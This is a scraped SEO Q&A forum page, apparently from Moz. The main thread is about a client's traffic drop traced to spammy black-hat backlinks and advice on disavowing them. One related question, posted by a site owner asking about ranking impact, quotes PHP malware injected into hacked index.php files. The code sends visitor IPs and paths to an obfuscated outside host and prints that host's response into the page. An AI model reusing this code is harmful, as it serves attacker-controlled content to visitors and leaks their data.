Substantial drop in organic traffic and keyword rankings
-
My client's organic traffic has been on the decline ever since January of 2015. We suspected it had to do with some spammy link farm pointing to his site. We disavowed those links in August 2015. Still, we are seeing huge drop offs in rankings and organic traffic. I am at a loss of what to do. Are we being penalized by Google for some reason? Has this happened to anyone else? If so, how did you remedy? Feel free to ask my any more questions if you more information.
-
My pleasure.
-
Thanks for all of your help Dave!
-
I'm always hesitant to switch domains and you do have some good links in there that would be a shame to lose. If you have a manual penalty (which i assume you don't) then it might be something to consider (though still not my favorite path) but with just an algorithmic kick in the butt I'd audit the links, disavow the low quality ones and build up from there.
As a warning I'm sure you're aware of, when you disavow the bad links you'll likely be disavowing links that are actually passing weight currently. The site might see a small drop in rankings after but that's better than a massive drop with the next Penguin update.
-
It was around that time. I'm thinking a new domain might help them start off on the right track?
-
Ah, I thought it might relate to links. Did your client let them go in the spring of 2014?
-
So I found out from the client that they were working with an SEO company that was practicing black hat techniques. In 2013, this company was creating articles and web pages on many low quality domains and pointing links to the client's site. Could this company pulled all of these links when they stopped working with them? Is that even possible?
-
As Josh will find out, it'll be hard to post a public response as it would likely require revealing more than I'd feel comfortable doing but interested to know if Josh and I ended up with the same general take on the potential cause.
-
Hey Karl, Dave here.
As I'm sure you can imagine, it's pretty tough to get a feel for the issue without more info. If you'd like to PM me the URL I'm happy to take a quick look. I may respond back here to help others but I won't list off any details that could be considered proprietary or confidential.
Cheers !
Dave
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
How to Increase US traffic for other GEO based website
Can you help me to understand why my traffic from the US is not increasing for landing pages/product pages whereas for our blog it has grown 2X to 3X past 2 quarters? I am afraid that I don't get any right answer for this. Could you or someone help me to discover the answer? Also, what should I do to rank in the US for a particular KW, we rank on 2 positions for KW "Hackathon" in India but for the US the no is 56. I don't understand what to do and the best possible way to rank in the US.
White Hat / Black Hat SEO | | Rajnish_HE0 -
Bounce Rate Manipulated with Direct Traffic Spikes - Thoughts?
Hi Mozzers, we're hoping to get some insight from some of the technical folks out there on what seems to be malicious targeting of a client's website. We recently discovered enormous spikes in direct traffic to the website with 90% originating from the USA and the rest coming from dozens of other countries. Nearly 100% of visits are new sessions and each only lasts a few seconds - thereby driving the bounce rate over 95%! There are other possible identifiers worth noting, including: Browser - 99% use Internet Explorer Browser Version - 89% use IE 7.0 Flash Version - 80% use 14.0 r0 Operating System - 99% use Windows See the attached "Screenshot - Traffic Spikes & Inflated Bounce Rate". Whether this is a negative SEO attack or something else, we're really hoping to get the community's input and (hopefully) possible solutions. Thanks! oYKrMu6
White Hat / Black Hat SEO | | ByteLaunch0 -
Site that's 301 redirected is ranking for brand
We own a number of foreign TLD domains for our brand. They are all 301-redirected to our main .com branded domain. One of them is appearing in our branded search results, outranking out main .com page. To be clear, this is despite there being a 301 redirect from it to the .com page. Any ideas on what is going on here?
White Hat / Black Hat SEO | | ipancake0 -
Website has been hacked will this hurt ranking
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
White Hat / Black Hat SEO | | GTGshops
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question : Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard0 -
How many keywords?
Hi, I have a client asking if they can target 50-100 keywords. Has anyone ever heard of this before? In my eyes, 1-7 keywords at any one time is more than enough. So unless you had a team of 50 people doing the work, is this a reasonable request? Any advice welcome. Thanks
White Hat / Black Hat SEO | | YNWA0 -
Penalised for specific keywords
Hi guys and girls, I've recently taken over management of a client that appears to be suffering a punishment on Google for specific keywords. Firstly has anyone encountered an issue such as this before, specific keyword de-ranking, and if so did re inclusion requests yield any joy? Thank you in advance for any assistance.
White Hat / Black Hat SEO | | James_T0 -
Ranking factors: What am I missing here?
I'm trying to understand what techniques might have been used to help the site malime.com.au rank for the term 'boys tops' on Google (AU). It appears to be a new domain, there are hardly any backlinks and basically no social mentions. Internally, the site uses the term 'boys tops' to link to the same page that Google chooses also—so that much makes sense—but other than that (and some weird keyword-stuffed page titles and meta tags) I cannot find much reason for this site to rank as well as it is. Have I missed something? Or is it just a low-enough competition phrase that it can do this with basically internal linking? Any ideas? Thanks
White Hat / Black Hat SEO | | NathanV19770 -
Why does my competitor rank so well with so many paid/traded links?
Greetings everyone! I've really been enjoying my Moz membership these past few weeks after studying my data and comparing it with my competitors I think it's high time I started asking some questions. The website I manage has a very good ranking history but over the past year we've seen a slight decline in our SERP positions. I don't think this has anything to do with on-page optimization but rather with our link profile. We have only about 10k links total while they have 175k - our mozranks are nearly identical, but his moztrust is 4.46 and our's is 3.51. I am guessing, on our end, I need to remove some of these low-quality nofollow links (though I'll be honest I have no idea how we obtained them to begin with) but what I don't understand is how our competitor is ranking so well because when I browse their link profile, it is filled with paid link and traded link directories that don't appear to be penalized for what they are. I was under the impression that this was bad SEO, but now I am thinking I should just play his own game and submit to these sites too. Looking for any advice or ideas on a better way to compete... ❤ Jennifer
White Hat / Black Hat SEO | | Virage0